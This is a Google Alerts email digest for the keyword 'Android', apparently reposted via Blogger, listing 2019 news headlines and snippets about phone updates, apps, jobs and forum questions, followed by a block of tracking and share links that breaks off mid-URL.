 Huawei P30 and P30 Pro hands-on: Zooming into the future  – Android Authority 
 HUAWEI officially unveils elegant P30 Series of Android smartphones  – BetaNews 
 Huawei P30 Lite breaks cover at South African retailer: It's the Huawei Nova 4e, really  – Android Authority 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Long-awaited robust call blocking features may soon come to Google Phone app     


  Android Police  
Your smartphone already lets you block annoying callers so that you never have to deal with them again, but what if it could be proactive? Android …
 


   
   
   
  Flag as irrelevant  


 





   
    FogHorn Lets SIs Build Offline Machine Learning Apps For Android     


  CRN  
FogHorn Systems is using its expertise in developing machine learning solutions for edge gateways and extending it to the world of Android.
 
 FogHorn Brings Industrial Analytics, Machine Learning to Android  – Channelnomics 
 FogHorn Brings Industrial Analytics and Machine Learning to the Android Nation  – GlobeNewswire (press release) 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Sprint rolling out Android Pie for the Galaxy S8 and Galaxy Note 8     


  SamMobile  
The Android Pie update for the Galaxy S8 and the Galaxy Note 8 has finally arrived for carrier-locked users in the US. Sprint is the first mobile carrier to …
 
 [List] Which Samsung phones are getting Android Pie?  – SamMobile 
 Samsung rolls out Android Pie with One UI for the Galaxy Note FE  – XDA Developers (blog) 
 Sprint reportedly starts rolling out Android 9.0 Pie update for Samsung Galaxy S8/S8+  – Phone Arena 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    TiVo Launches CubiTV for Android     


  Associated Press  
CubiTV for Android TV is a modular, cost-effective, easy to deploy, pre-integrated solution that enables operators to seamlessly begin their journey …
 
 TiVo unveils its modular CubiTV product for Android TV  – FierceVideo 
 TiVo launches CubiTV for Android TV  – Broadband TV News 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Huawei P10 receives Android 9.0 Pie update     


  GSMArena.com  
While the P30 and P30 Pro are only now starting their life-cycles, Huawei hasn't forgotten its older devices and is issuing an EMUI 9.0.1 update …
 


   
   
   
  Flag as irrelevant  


 





   
    Nokia 9 PureView comes to the UK for 549 pounds     


  Android Authority  
The flagship smartphone also features an in-display fingerprint sensor, the Android One variant of Android 9 Pie, the Qualcomm Snapdragon 845 …
 


   
   
   
  Flag as irrelevant  


 





   
    Now, Google lets Android users create public events on Maps     


  Economic Times  
SAN FRANCISCO: Google is letting Android users create public events on Maps through the app's existing Contribute section, allowing them to set …
 
 Google Maps now lets you add public events on Android but it isn't quite ready yet  – Firstpost 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    UC Browser for Android, Desktop Exposes 500+ Million Users to MiTM Attacks     


  BleepingComputer  
The extremely popular UC Browser and UC Browser Mini Android applications with a total of over 600 million installs expose their users to MiTM …
 


   
   
   
  Flag as irrelevant  


 





   
    Google's original Pixel gets a speed test to show how four Android versions affect performance     


  9to5Google  
It came as a surprise earlier this month when Google revealed that it would be providing an official update to Android Q for the original Pixel phones.
 


   
   
   
  Flag as irrelevant  


 





   
    Get New Themes for Your Pixel on Android 10     


  Gadget Hacks  
In Android 10, Google is letting you adjust the accent colors to give your phone a bit of flair. When combined with the new system-wide dark mode, you …
 


   
   
   
  Flag as irrelevant  


 





   
    EU's controversial copyright law has been approved     


  Android Central  
The European Parliament has approved the controversial bill that will bring widespread reforms to how copyrighted content is governed online.
 


   
   
   
  Flag as irrelevant  


 





   
    Microsoft To-Do beta for Android updated with autosave for notes, more     


  Windows Central  
Microsoft is shipping out another small update to To-Do or Android, bringing a handful of useful features alongside some small bug fixes. One of the …
 


   
   
   
  Flag as irrelevant  


 





   
    Lenovo Smart Tab P10 review: This Android / Alexa collab needs more work     


  Android Central  
Smart displays aren't some new product on the block, technologically speaking. With the Google Home Hub, Lenovo Smart Display, Amazon Echo …
 


   
   
   
  Flag as irrelevant  


 





   
    [Update: Now in Android app] Google Tasks gets timed reminders and recurring functionality     


  Android Police  
Note that these changes only seem to affect Tasks on the web for now. Google's Tasks and Calendar apps for Android haven't picked them up yet.
 


   
   
   
  Flag as irrelevant  


 





   
    Android Q challenges previous versions of the OS in a video speed test     


  Gizchina.com (blog)  
Year after year the Google team releases a new version of its mobile operating system but what changes in terms of speed between an Android …
 


   
   
   
  Flag as irrelevant  


 





   



                                                                            

           


 
 

 


   
    How to stop robocalls and other spam calls from reaching your Android phone     


  Business Insider  
If you use an Android phone, there are several ways to help prevent spam calls from reaching your phone. But first, take a minute and do something all …
 


   
   
   
  Flag as irrelevant  


 





   



                                                                            

           


 
 

 


   
    Google Home teases John Legend voice, final release seems imminent     


  Android Police  
Google announced a lot of things at I/O last year, many of which had to do with Assistant and Google Home. One promise it hasn't yet lived up to is the …
 


   
   
   
  Flag as irrelevant  


 





   
    Study shows limited control over privacy breaches by pre-installed Android apps     


  The Star Online  
MADRID/SAN FRANCISCO: An independent study lead by an academic group in Spain has shown that what personal information can be collected by …
 


   
   
   
  Flag as irrelevant  


 





   
    Confirmed: Xiaomi won't bring Redmi Note 7 Pro to rest of world     


  Android Authority  
Xiaomi product PR manager John Chan has since confirmed the news to Android Authority, but he didn't elaborate on a reason for the move.
 


   
   
   
  Flag as irrelevant  


 





   
    Best movies on Hulu to watch and enjoy     


  Android Authority  
With over 25 million subscribers in the U.S., Hulu is one of the biggest premium video streaming services. In addition to its many exclusive, current and …
 


   
   
   
  Flag as irrelevant  


 





   
    Chrome 74 Reduces Motion Sickness, Goes Dark     


  Android Headlines  
Google provides an example of accessibility features in Android that allow users to access those settings and turn off animations. After the update to …
 


   
   
   
  Flag as irrelevant  


 





  WEB  





    Android Q Beta     


  Android Developers  
Get your apps ready for Android Q, with stronger protections for user privacy, new ways to engage users, extended support for foldables, Vulkan …
 


   
   
   
  Flag as irrelevant  


 






    Android ecosystem of pre-installed apps     


  Reddit  
Except on Android, even the phone and browser can be replaced. Firefox can register itself as an embedded browser for other apps. And there are …
 


   
   
   
  Flag as irrelevant  


 






    What are the professional stages of Android devs?     


  Reddit  
Imo the starting point is when you browse tutorial sites, like [vogella.com](https://vogella.com) or [d.android.com](https://d.android.com) if…
 


   
   
   
  Flag as irrelevant  


 






    Android ecosystem of pre-installed apps is a privacy and security mess     


  Reddit  
Android doesn't have third party pre-installed apps. OEMs do that. … So this is now classified as Android issue, not OEM issue? Google just can't seem …
 


   
   
   
  Flag as irrelevant  


 






    Why is the GoToMeeting Android app asking for permission to record?     


  LogMeIn Support – LogMeIn, Inc.  
The GoToMeeting Android app is requesting access from the Android device to be able to utilize the device's microphone for audio communication in …
 


   
   
   
  Flag as irrelevant  


 






    [Android] Gradle APK Sign issues since upgrade to 0.59     


  GitHub  
Bug Report The android signing process seems to be broken since react-native version 0.59.0. I've upgraded from 0.57.8. After upgrading the project, …
 


   
   
   
  Flag as irrelevant  


 






    Android Tutorial for Beginners . Make App That Sells     


  Udemy  
Learn to create your own Android apps that you can publish . – Free Course.
 


   
   
   
  Flag as irrelevant  


 






    Firefox Lockbox provides access to your passwords on Android     


  Engadget  
Mozilla's Firefox Lockbox has been helping iOS users keep tabs on their many passwords for a while, and now it's making that tool available on …
 


   
   
   
  Flag as irrelevant  


 






    Oxygen OS 9.0 for OnePlus 3 and 3T based on Android 9 Pie leaked     


  Android Sage  
OnePlus 3 and 3T are still one of the most popular and powerful Android phones available in the market. After their launch, the phones took the world …
 


   
   
   
  Flag as irrelevant  


 






    Apple Music Hits 40 Million Installs on Android, On Track for Best Quarter Yet     


  Sensor Tower  
Apple Music has grown new users sequentially quarter-over-quarter on Android since 2Q18, and will hit 3.8 million in 1Q19, Sensor Tower data …
 


   
   
   
  Flag as irrelevant  


 






    WhatsApp beta for Android 2.19.83: what's new?     


  WABetaInfo  
Discover all changes in the new Android 2.19.83 beta update, that brings a lot of new improvements for the Authentication feature (available in future)
 


   
   
   
  Flag as irrelevant  


 






    About Android 413     


  TWiT.tv  
David Ruddock reviews the Samsung Galaxy S10eGoogle Podcast transcription is happening behind the scenesThe Tonight Show was shot using …
 


   
   
   
  Flag as irrelevant  


 






    Android Snacks     


  Simplecast  
The TL;DR of last weeks Android developer news. … Android Snacks. The TL;DR of last weeks Android developer news. More …
 


   
   
   
  Flag as irrelevant  


 






    Android Smartphones for Beginners (T2-19)     


  Eventbrite  
Eventbrite – Loveland Public Library presents Android Smartphones for Beginners (T2-19) – Saturday, May 4, 2019 at Loveland Public Library, …
 


   
   
   
  Flag as irrelevant  


 






    Refurb Samsung Note 12" 32GB Android Tablet     


  DealNews  
Today only, A4C offers the refurbished Samsung Galaxy Note Pro 12.2" 32GB Android Tablet for $299.99 with free shipping. That's $200 off list and …
 


   
   
   
  Flag as irrelevant  


 






    H96 Max Plus RK3328 4G / 32G Android 8.1 USB3.0 Điều khiển bằng giọng nói TV     


  Banggood  
H96 Max Plus RK3328 4GB RAM 32GB ROM Android 8.1 4Kx2K 100M LAN 2.4G WIFI USB3.0 VP9 H.265 HDR10 TV Box Mini PC Support HD Netflix …
 


   
   
   
  Flag as irrelevant  


 






    Playdek are bring GMT's Fort Sumter to iOS &amp; Android     


  Pocket Tactics  
Playdek are bring GMT's Fort Sumter to iOS &amp; Android. By Joe Robinson 26 Mar 2019 0. Pocket Tactics favourites Playdek seem to be recovering from …
 


   
   
   
  Flag as irrelevant  


 






    Study Shows Limited Control Over Privacy Breaches By Pre-installed Android Apps     


  VosIzNeias  
Though Alphabet Inc's Google owns Android, its open source nature enables device makers to customize the operating system and package other …
 


   
   
   
  Flag as irrelevant  


 






    Unlocked LG Q6 32GB 4G LTE GSM Android Phone     


  DealNews  
Walmart offers the Unlocked LG Q6 32GB 4G LTE GSM Android Phone in Platinum for $139 with free shipping. That's $11 under our February mention …
 


   
   
   
  Flag as irrelevant  


 






    Pokémon TCG Online 2.62.0 (Android 4.1+)     


  APKMirror  
32.42 MB (33,993,895 bytes) Supports installation on external storage. Min: Android 4.1 (Jelly Bean, API 16). Target: Android 9.0 (Pie, API 28). nodpi.
 


   
   
   
  Flag as irrelevant  


 






    ABCya Games     


  ABCya!  
Does ABCya offer mobile apps? Download the ABCya! Games app today for your favorite device! Now available for iOS, Android and Amazon Kindle.
 


   
   
   
  Flag as irrelevant  


 






    Apple Music for Android picks up Chromebook support and a revamped Browse tab     


  iDownloadBlog  
The official Apple Music app for Android was updated this morning on Play Store, picking up the same overhauled and reorganized Browse tab which …
 


   
   
   
  Flag as irrelevant  


 






    Does Wyoming Prefer Apple Or Android?     


  106.3 Cowboy Country  
Wyoming joins 42% of the country as we prefer Android over iOS (Apple), according to PCMag. At the end of 2018, it looked like the majority of the …
 


   
   
   
  Flag as irrelevant  


 






    Disabling Lock on Android     


  Norton Community  
How do I disable the lock on my android so I don't have to put in a pin each time i want to use my android phone? I set it up but don't like it. Holly.
 


   
   
   
  Flag as irrelevant  


 






    ListAdapter template for RecyclerView in Android     


  ProAndroidDev  
A template to make ListAdapter easier to implement in your Android project.
 


   
   
   
  Flag as irrelevant  


 






    Android Developer     


  Dice  
Android Developer jobs at TekShapers in San Francisco, CA.
 


   
   
   
  Flag as irrelevant  


 






    Xiaomi Redmi Note 5 Pro Android 9.0 Pie MIUI beta update starts rolling out, brings system-wide …     


  FoneArena.com  
Xiaomi launched its first dual-camera phone Redmi Note 5 Pro in India last year running MIUI 9.2 on top of Android 7.1 (Nougat) and later updated it to …
 


   
   
   
  Flag as irrelevant  


 






    Dropbox does not find all photos on my android &amp; finds photos ive already deleted off     


  Dropbox Community  
Hey @Beardbuster, from what I understand, you're referring to camera uploads. If so, please note that the camera uploads feature uploads only photos …
 


   
   
   
  Flag as irrelevant  


 






    Problem Installing Android Auto on Android 9 Enterprise     


  Google Support  
I have a problem with installing Android Auto on a Samsung S9 with Android 9 Enterprise. The grant permission to show notifications on top of other …
 


   
   
   
  Flag as irrelevant  


 






    I need access to the Android Auto SDK that allows for apps with custom UIs     


  Google Support  
I am a co-op student at a company right now, and we would like to make an app for internal use with Android Auto capabilities, but the app has to have …
 


   
   
   
  Flag as irrelevant  


 






    Android Time Clock – FAQ     


  Deputy Help Center  
For all our frequently asked questions about the Android Time Clock, check out this guide.
 


   
   
   
  Flag as irrelevant  


 






    Your Comprehensive Guide to Getting the Best Android Warranty     


  Consumer Priority Service  
You spent good money on your Android. Read our comprehensive guide to find an Android warranty that protects your investment.
 


   
   
   
  Flag as irrelevant  


 






    Android selectable Bluetooth List     


  Stack Overflow  
How can I make a popup on Android so when you click one of the devices it saves the device name to a variable. When I do it nothing happens and I …
 


   
   
   
  Flag as irrelevant  


 






    Changes to the Google Play Developer API     


  Android Developers Blog  
The Google Play Developer API allows you to automate your in-app billing and app distribution workflows. At Google I/O '18, we introduced version 3 …
 


   
   
   
  Flag as irrelevant  


 






    No push notification on Android     


  WordPress.org  
The push notifications work on PC but not on Android (I have a Samsung S7). I do get the Add to Homescreem prompt when visiting the website, but …
 


   
   
   
  Flag as irrelevant  


 






    react native android app crash on startup     


  Stack Overflow  
App/gradle dependencies { implementation project(':react-native-firebase') implementation "com.google.firebase:firebase-core:16.0.8" implementation …
 


   
   
   
  Flag as irrelevant  


 






    How to use TINYTEXT value in Android sqlite     


  Tutorialspoint  
How to use TINYTEXT value in Android sqlite – Before getting into an example we should know what SQLite database in android is SQLite is an open …
 


   
   
   
  Flag as irrelevant  


 






    Senior Android Developer     


  LinkedIn  
If you are a Senior Android developer, please read on!Based in Vienna, VA, we are a rapidly growing…See this and similar jobs on LinkedIn.
 


   
   
   
  Flag as irrelevant  


 






    How to use compare string in android     


  TutorialsPoint  
This example demonstrate about How to use compare string in android. Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and …
 


   
   
   
  Flag as irrelevant  


 






    Make distinction in requested Android permissions based on the users Android version     


  Stack Overflow  
User won't have to go explicit to the app-settings, just check the Android version with android.os.Build.VERSION.SDK_INT &gt;= N. And if it is true, you …
 


   
   
   
  Flag as irrelevant  


 






    Firefox Lockbox Now on Android, Keeping your Passwords Safe     


  The Mozilla Blog  
Firefox Lockbox Now on Android, Keeping your Passwords Safe. March 26, 2019. If you're like most Firefox users, you have dozens if not hundreds of …
 


   
   
   
  Flag as irrelevant  


 






    Update Galaxy Note FE to Android 9.0 Pie Official Firmware     


  Team Android  
Users of Samsung Galaxy Note Fan Edition can now update to official Android 9.0 Pie update. New software brings One UI to Galaxy Note FE.
 


   
   
   
  Flag as irrelevant  


 






    WhatsApp Messenger 2.19.82 beta (Android 4.0.3+)     


  APKMirror  
Package: com.whatsapp 1,390 downloads. 33.54 MB (35,170,844 bytes). Min: Android 4.0.3 (Ice Cream Sandwich MR1, API 15). Target: Android 9.0 …
 


   
   
   
  Flag as irrelevant  


 






    Android Pie Update     


  Samsung Community  
Yes that is a good question when.
 


   
   
   
  Flag as irrelevant  


 






    Mobile Software Engineer – Android     


  LinkedIn  
Workday's brand-new office in Boulder wants to hire a Senior Android Engineer. At Workday, we're committed to bringing passion and customer focus …
 


   
   
   
  Flag as irrelevant  


 






    Snapdragon Galaxy S8, S8 Plus, and Note 8 gets Android 9 Pie from Sprint Carrier in USA     


  Android Sage  
Snapdragon Galaxy S8, S8 Plus and the Note 8 are the latest Samsung devices receiving official Android 9 Pie OTA update. Sprint carrier has stepped …
 


   
   
   
  Flag as irrelevant  


 






    The Apple Music app has been installed on 40 million Android devices     


  AppleInsider Forums  
Though extremely Apple-centric, Apple Music has been installed by over 40 million Android users worldwide, new research estimates suggest.
 


   
   
   
  Flag as irrelevant  


 






    ZTE Avid 559     


  Consumer Cellular  
Tackle any important digital task with ease with the new ZTE Avid 559 smartphone. This outstanding device features the Android 8.1 Oreo operating …
 


   
   
   
  Flag as irrelevant  


 






    Allow Usage Tracking on Android apps via script to monitor usage of cellular data.     


  SOTI Discussion Forum  
I just tried to enable Telecom Expense Management on our company Android devices but I had users call to complain about.
 


   
   
   
  Flag as irrelevant  


 






    Support better scaling of Android platform views     


  GitHub  
Right now when a scale transform is applied to an AndroidView the texture is drawn scaled without scaling the virtual display and the internal view.
 


   
   
   
  Flag as irrelevant  


 











  You have received this email because you have subscribed to Google Alerts.  
 Unsubscribe   



    Receive this alert as RSS feed   


   
 Send Feedback 
  


 
   





      
via Blogger https://ift.tt/2UTzlpQ</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.google.com/alerts?source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.komando.com/tips/556663/5-secret-android-features-you-need-to-use&amp;ct=ga&amp;cd=CAEYACoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNHThq2BAz3pdt43PjwEnjkkNrF5WA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.komando.com/tips/556663/5-secret-android-features-you-need-to-use&amp;ss=gp&amp;rt=5+secret+Android+features+you+need+to+use&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmVFyDe2-rlI6wa0KgMlDmyN-8u4gg</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.komando.com/tips/556663/5-secret-android-features-you-need-to-use&amp;ss=fb&amp;rt=5+secret+Android+features+you+need+to+use&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmVFyDe2-rlI6wa0KgMlDmyN-8u4gg</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.komando.com/tips/556663/5-secret-android-features-you-need-to-use&amp;ss=tw&amp;rt=5+secret+Android+features+you+need+to+use&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmVFyDe2-rlI6wa0KgMlDmyN-8u4gg</link><link>https://www.google.com/alerts/feedback?ffu=https://www.komando.com/tips/556663/5-secret-android-features-you-need-to-use&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;ct=ga&amp;cd=CAEYASoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNF5w7VyXp0nKse68grmKU3TqVoEsQ</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.macrumors.com/2019/03/26/apple-music-40-million-android/&amp;ct=ga&amp;cd=CAEYASoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNEl3kAmJOeNLBRLZvDs7oxmtKLGMg</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.macrumors.com/2019/03/26/apple-music-app-for-android-updated-browse-tab/&amp;ct=ga&amp;cd=CAEYASoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNEDHZ2tp-rKSwm78QOVLpQc7-JpUg</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://bgr.com/2019/03/26/apple-music-android-40-million-installs/&amp;ct=ga&amp;cd=CAEYASoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNFkEfSbfKbWW7jiIvsyUAdGCD60GA</link><link>http://news.google.com/news/story?ncl=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;hl=en&amp;geo=US</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;ss=gp&amp;rt=The+Apple+Music+app+has+been+installed+on+40+million+Android+devices&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWdzdyNj0wmedXdmpXa0qAlSDSyPA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;ss=fb&amp;rt=The+Apple+Music+app+has+been+installed+on+40+million+Android+devices&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWdzdyNj0wmedXdmpXa0qAlSDSyPA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;ss=tw&amp;rt=The+Apple+Music+app+has+been+installed+on+40+million+Android+devices&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWdzdyNj0wmedXdmpXa0qAlSDSyPA</link><link>https://www.google.com/alerts/feedback?ffu=https://appleinsider.com/articles/19/03/26/the-apple-music-app-has-been-installed-on-40-million-android-devices&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.techrepublic.com/article/android-security-bulletin-march-2019-what-you-need-to-know/&amp;ct=ga&amp;cd=CAEYBSoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNEnNs6nOZZNNgJGZ_Ku0BaTPqBbkA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.techrepublic.com/article/android-security-bulletin-march-2019-what-you-need-to-know/&amp;ss=gp&amp;rt=Android+Security+Bulletin+March+2019:+What+you+need+to+know&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXWn5qOZnoZIby2EG9kpPNKH1Sa8g</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.techrepublic.com/article/android-security-bulletin-march-2019-what-you-need-to-know/&amp;ss=fb&amp;rt=Android+Security+Bulletin+March+2019:+What+you+need+to+know&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXWn5qOZnoZIby2EG9kpPNKH1Sa8g</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.techrepublic.com/article/android-security-bulletin-march-2019-what-you-need-to-know/&amp;ss=tw&amp;rt=Android+Security+Bulletin+March+2019:+What+you+need+to+know&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXWn5qOZnoZIby2EG9kpPNKH1Sa8g</link><link>https://www.google.com/alerts/feedback?ffu=https://www.techrepublic.com/article/android-security-bulletin-march-2019-what-you-need-to-know/&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;ct=ga&amp;cd=CAEYBioUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNFXXhAmA2BiZrArPkEUGm3zfBwSzw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.gsmarena.com/whatsapp_starts_testing_dark_mode_on_its_android_app_with_latest_beta_update-news-36225.php&amp;ct=ga&amp;cd=CAEYAyoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNEQ7t39XY6FGOlExU81WcoTP_yDHg</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.androidpolice.com/2019/03/26/heres-our-first-look-at-whatsapps-dark-mode/&amp;ct=ga&amp;cd=CAEYAyoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNFCh6CuVOUwGSwCqKj6tC6YBoaL1A</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.phonearena.com/news/WhatsApp-closer-to-adding-Dark-Mode-for-Android-users_id114851&amp;ct=ga&amp;cd=CAEYAyoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNH-JOIv78wZyQtKGdeXt8X9zl-Gbg</link><link>http://news.google.com/news/story?ncl=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;hl=en&amp;geo=US</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;ss=gp&amp;rt=WhatsApp+beta+for+Android+offers+a+first+look+at+dark+mode+in+latest+update&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXQedjI2H-TrnZFm2utn6kQ0zvDjQ</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;ss=fb&amp;rt=WhatsApp+beta+for+Android+offers+a+first+look+at+dark+mode+in+latest+update&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXQedjI2H-TrnZFm2utn6kQ0zvDjQ</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;ss=tw&amp;rt=WhatsApp+beta+for+Android+offers+a+first+look+at+dark+mode+in+latest+update&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmXQedjI2H-TrnZFm2utn6kQ0zvDjQ</link><link>https://www.google.com/alerts/feedback?ffu=https://9to5google.com/2019/03/26/whatsapp-android-dark-mode-beta/&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.theinquirer.net/inquirer/news/3073192/pre-installed-android-apps-could-be-sucking-your-privacy&amp;ct=ga&amp;cd=CAEYCioUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNHFWpPyCo47od_DbPXCoa-4kUOJhg</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.theinquirer.net/inquirer/news/3073192/pre-installed-android-apps-could-be-sucking-your-privacy&amp;ss=gp&amp;rt=Pre-installed+Android+apps+could+be+putting+your+privacy+at+risk&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWLAw840DgSuWKfakeQoBedy7nq6w</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.theinquirer.net/inquirer/news/3073192/pre-installed-android-apps-could-be-sucking-your-privacy&amp;ss=fb&amp;rt=Pre-installed+Android+apps+could+be+putting+your+privacy+at+risk&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWLAw840DgSuWKfakeQoBedy7nq6w</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.theinquirer.net/inquirer/news/3073192/pre-installed-android-apps-could-be-sucking-your-privacy&amp;ss=tw&amp;rt=Pre-installed+Android+apps+could+be+putting+your+privacy+at+risk&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmWLAw840DgSuWKfakeQoBedy7nq6w</link><link>https://www.google.com/alerts/feedback?ffu=https://www.theinquirer.net/inquirer/news/3073192/pre-installed-android-apps-could-be-sucking-your-privacy&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https